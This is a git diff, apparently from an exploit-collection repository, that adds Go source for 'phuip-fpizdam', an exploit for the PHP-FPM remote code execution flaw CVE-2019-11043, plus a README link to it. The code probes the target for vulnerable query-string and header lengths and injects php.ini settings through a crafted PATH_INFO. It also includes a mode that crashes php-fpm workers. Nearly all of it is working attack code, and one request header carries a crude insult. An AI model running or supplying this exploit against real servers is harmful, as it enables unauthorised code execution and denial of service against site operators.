"github.com/spf13/cobra"
|
||||||
|
)
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
var (
|
||||||
|
method string
|
||||||
|
cookie string
|
||||||
|
setting string
|
||||||
|
skipDetect bool
|
||||||
|
skipAttack bool
|
||||||
|
killWorkers bool
|
||||||
|
killCount int
|
||||||
|
resetSetting bool
|
||||||
|
resetRetries int
|
||||||
|
onlyQSL bool
|
||||||
|
params = &AttackParams{}
|
||||||
|
)
|
||||||
|
|
||||||
|
var cmd = &cobra.Command{
|
||||||
|
Use: "phuip-fpizdam [url]",
|
||||||
|
Args: cobra.ExactArgs(1),
|
||||||
|
Run: func(cmd *cobra.Command, args []string) {
|
||||||
|
url := args[0]
|
||||||
|
m, ok := Methods[method]
|
||||||
|
if !ok {
|
||||||
|
log.Fatalf("Unknown detection method: %v", method)
|
||||||
|
}
|
||||||
|
|
||||||
|
requester, err := NewRequester(url, cookie)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Failed to create requester: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if resetSetting {
|
||||||
|
if !params.Complete() {
|
||||||
|
log.Fatal("--reset-setting requires complete params")
|
||||||
|
}
|
||||||
|
if setting == "" {
|
||||||
|
setting = m.PHPOptionDisable
|
||||||
|
}
|
||||||
|
if resetRetries == -1 {
|
||||||
|
resetRetries = 1 << 30
|
||||||
|
}
|
||||||
|
if err := SetSetting(requester, params, setting, resetRetries); err != nil {
|
||||||
|
log.Fatalf("ResetSetting() returned error: %v", err)
|
||||||
|
}
|
||||||
|
log.Printf("I did my best trying to set %#v", setting)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if setting != "" {
|
||||||
|
log.Fatal("--setting requires --reset-setting")
|
||||||
|
}
|
||||||
|
|
||||||
|
if killWorkers {
|
||||||
|
if params.QueryStringLength == 0 {
|
||||||
|
log.Fatal("QSL value is required for killing workers")
|
||||||
|
}
|
||||||
|
// The breaking payload is 4 bytes shorter than usual (34), so we have
|
||||||
|
// (Δ|SCRIPT_FILENAME| + Δ|REQUEST_URI| + Δ|DOCUMENT_URI|)/2 = 6.
|
||||||
|
// This probably won't work in some configurations.
|
||||||
|
params.QueryStringLength += 6
|
||||||
|
if err := KillWorkers(requester, params, killCount); err != nil {
|
||||||
|
log.Fatalf("KillWorkers() returned error: %v", err)
|
||||||
|
}
|
||||||
|
log.Printf("all done")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if skipDetect {
|
||||||
|
if !params.Complete() {
|
||||||
|
log.Fatal("Got --skip-detect and attack params are incomplete, don't know what to do")
|
||||||
|
}
|
||||||
|
log.Printf("Using attack params %s", params)
|
||||||
|
} else {
|
||||||
|
var err error
|
||||||
|
params, err = Detect(requester, m, params, onlyQSL)
|
||||||
|
if err != nil {
|
||||||
|
if err == errPisosBruteForbidden && onlyQSL {
|
||||||
|
log.Printf("Detect() found QSLs and that's it")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
log.Fatalf("Detect() returned error: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if !params.Complete() {
|
||||||
|
log.Fatal("Detect() returned incomplete attack params, something gone wrong")
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("Detect() returned attack params: %s <-- REMEMBER THIS", params)
|
||||||
|
}
|
||||||
|
|
||||||
|
if skipAttack || onlyQSL {
|
||||||
|
log.Print("Attack phase is disabled, so that's it")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := Attack(requester, params); err != nil {
|
||||||
|
log.Fatalf("Attack returned error: %v", err)
|
||||||
|
}
|
||||||
|
},
|
||||||
|
}
|
||||||
|
cmd.Flags().StringVar(&method, "method", "session.auto_start", "detect method (see detect_methods.go)")
|
||||||
|
cmd.Flags().StringVar(&cookie, "cookie", "", "send this cookie")
|
||||||
|
cmd.Flags().IntVar(¶ms.QueryStringLength, "qsl", 0, "qsl hint")
|
||||||
|
cmd.Flags().IntVar(¶ms.PisosLength, "pisos", 0, "pisos hint")
|
||||||
|
cmd.Flags().BoolVar(&skipDetect, "skip-detect", false, "skip detection phase")
|
||||||
|
cmd.Flags().BoolVar(&skipAttack, "skip-attack", false, "skip attack phase")
|
||||||
|
cmd.Flags().BoolVar(&onlyQSL, "only-qsl", false, "stop after QSL detection, use this if you just want to check if the server is vulnerable")
|
||||||
|
cmd.Flags().BoolVar(&resetSetting, "reset-setting", false, "try to reset setting (requires attack params)")
|
||||||
|
cmd.Flags().IntVar(&resetRetries, "reset-retries", SettingEnableRetries, "how many retries to do for --reset-setting, -1 means a lot")
|
||||||
|
cmd.Flags().StringVar(&setting, "setting", "", "specify custom php.ini setting for --reset-setting")
|
||||||
|
cmd.Flags().BoolVar(&killWorkers, "kill-workers", false, "just kill php-fpm workers (requires only QSL)")
|
||||||
|
cmd.Flags().IntVar(&killCount, "kill-count", SettingEnableRetries, "how many times to send the worker killing payload")
|
||||||
|
|
||||||
|
if err := cmd.Execute(); err != nil {
|
||||||
|
log.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
34
CVE-2019-11043/phuip-fpizdam/phpini.go
Normal file
34
CVE-2019-11043/phuip-fpizdam/phpini.go
Normal file
@ -0,0 +1,34 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"net/http"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func MakePathInfo(phpValue string) (string, error) {
|
||||||
|
pi := "/PHP_VALUE\n" + phpValue
|
||||||
|
if len(pi) > PosOffset {
|
||||||
|
return "", fmt.Errorf("php.ini value is too long: %#v", phpValue)
|
||||||
|
}
|
||||||
|
return pi + strings.Repeat(";", PosOffset-len(pi)), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func SetSetting(requester *Requester, params *AttackParams, setting string, tries int) error {
|
||||||
|
log.Printf("Trying to set %#v...", setting)
|
||||||
|
for i := 0; i < tries; i++ {
|
||||||
|
if _, _, err := SetSettingSingle(requester, params, setting, ""); err != nil {
|
||||||
|
return fmt.Errorf("error while setting %#v: %v", setting, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func SetSettingSingle(requester *Requester, params *AttackParams, setting, queryStringPrefix string) (*http.Response, []byte, error) {
|
||||||
|
payload, err := MakePathInfo(setting)
|
||||||
|
if err != nil {
|
||||||
|
return nil, nil, err
|
||||||
|
}
|
||||||
|
return requester.RequestWithQueryStringPrefix(payload, params, queryStringPrefix)
|
||||||
|
}
|
85
CVE-2019-11043/phuip-fpizdam/requester.go
Normal file
85
CVE-2019-11043/phuip-fpizdam/requester.go
Normal file
@ -0,0 +1,85 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/tls"
|
||||||
|
"fmt"
|
||||||
|
"io/ioutil"
|
||||||
|
"net/http"
|
||||||
|
"net/url"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
type Requester struct {
|
||||||
|
cl *http.Client
|
||||||
|
u *url.URL
|
||||||
|
cookie string
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewRequester(resource, cookie string) (*Requester, error) {
|
||||||
|
u, err := url.Parse(resource)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("url.Parse failed: %v", err)
|
||||||
|
}
|
||||||
|
if !strings.HasSuffix(u.Path, ".php") {
|
||||||
|
return nil, fmt.Errorf("well I believe the url must end with \".php\". " +
|
||||||
|
"Maybe I'm wrong, delete this check if you feel like it")
|
||||||
|
}
|
||||||
|
|
||||||
|
nextProto := make(map[string]func(authority string, c *tls.Conn) http.RoundTripper)
|
||||||
|
disableRedirects := func(_ *http.Request, _ []*http.Request) error { return http.ErrUseLastResponse }
|
||||||
|
return &Requester{
|
||||||
|
cl: &http.Client{
|
||||||
|
Transport: &http.Transport{
|
||||||
|
DisableCompression: true, // No "Accept-Encoding"
|
||||||
|
TLSNextProto: nextProto, // No http2
|
||||||
|
Proxy: http.ProxyFromEnvironment,
|
||||||
|
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||||
|
},
|
||||||
|
Timeout: 30 * time.Second,
|
||||||
|
CheckRedirect: disableRedirects, // No redirects
|
||||||
|
},
|
||||||
|
u: u,
|
||||||
|
cookie: cookie,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *Requester) Request(pathInfo string, params *AttackParams) (*http.Response, []byte, error) {
|
||||||
|
return r.RequestWithQueryStringPrefix(pathInfo, params, "")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *Requester) RequestWithQueryStringPrefix(pathInfo string, params *AttackParams, prefix string) (*http.Response, []byte, error) {
|
||||||
|
if !strings.HasPrefix(pathInfo, "/") {
|
||||||
|
return nil, nil, fmt.Errorf("path doesn't start with slash: %#v", pathInfo)
|
||||||
|
}
|
||||||
|
u := *r.u
|
||||||
|
u.Path = u.Path + pathInfo
|
||||||
|
qslDelta := len(u.EscapedPath()) - len(pathInfo) - len(r.u.EscapedPath())
|
||||||
|
if qslDelta%2 != 0 {
|
||||||
|
panic(fmt.Errorf("got odd qslDelta, that means the URL encoding gone wrong: pathInfo=%#v, qslDelta=%#v", qslDelta))
|
||||||
|
}
|
||||||
|
qslPrime := params.QueryStringLength - qslDelta/2 - len(prefix)
|
||||||
|
if qslPrime < 0 {
|
||||||
|
return nil, nil, fmt.Errorf("qsl value too small: qsl=%v, qslDelta=%v, prefix=%#v", params.QueryStringLength, qslDelta, prefix)
|
||||||
|
}
|
||||||
|
u.RawQuery = prefix + strings.Repeat("Q", qslPrime)
|
||||||
|
req, err := http.NewRequest("GET", u.String(), nil)
|
||||||
|
if err != nil {
|
||||||
|
return nil, nil, err
|
||||||
|
}
|
||||||
|
req.Header.Set("User-Agent", UserAgent)
|
||||||
|
if r.cookie != "" {
|
||||||
|
req.Header.Set("Cookie", r.cookie)
|
||||||
|
}
|
||||||
|
req.Header.Set("D-Pisos", "8"+strings.Repeat("=", params.PisosLength)+"D")
|
||||||
|
req.Header.Set("Ebut", "mamku tvoyu")
|
||||||
|
resp, err := r.cl.Do(req)
|
||||||
|
if resp != nil {
|
||||||
|
defer func() { _ = resp.Body.Close() }()
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
return nil, nil, err
|
||||||
|
}
|
||||||
|
data, err := ioutil.ReadAll(resp.Body)
|
||||||
|
return resp, data, err
|
||||||
|
}
|
@ -76,6 +76,7 @@
|
|||||||
- [构建ASMX绕过限制WAF达到命令执行(适用于ASP.NET环境)](./构建ASMX绕过限制WAF达到命令执行.md)
|
- [构建ASMX绕过限制WAF达到命令执行(适用于ASP.NET环境)](./构建ASMX绕过限制WAF达到命令执行.md)
|
||||||
- [CVE-2019-17662-ThinVNC 1.0b1 - Authentication Bypass](./CVE-2019-17662-ThinVNC%201.0b1%20-%20Authentication%20Bypass.md)
|
- [CVE-2019-17662-ThinVNC 1.0b1 - Authentication Bypass](./CVE-2019-17662-ThinVNC%201.0b1%20-%20Authentication%20Bypass.md)
|
||||||
- [CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd](./CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd.md)
|
- [CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd](./CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd.md)
|
||||||
|
- [CVE-2019-11043-PHP远程代码执行漏](./CVE-2019-11043)
|
||||||
|
|
||||||
## 提权辅助相关
|
## 提权辅助相关
|
||||||
|
|
||||||
|
Loading…
x
Reference in New Issue
Block a user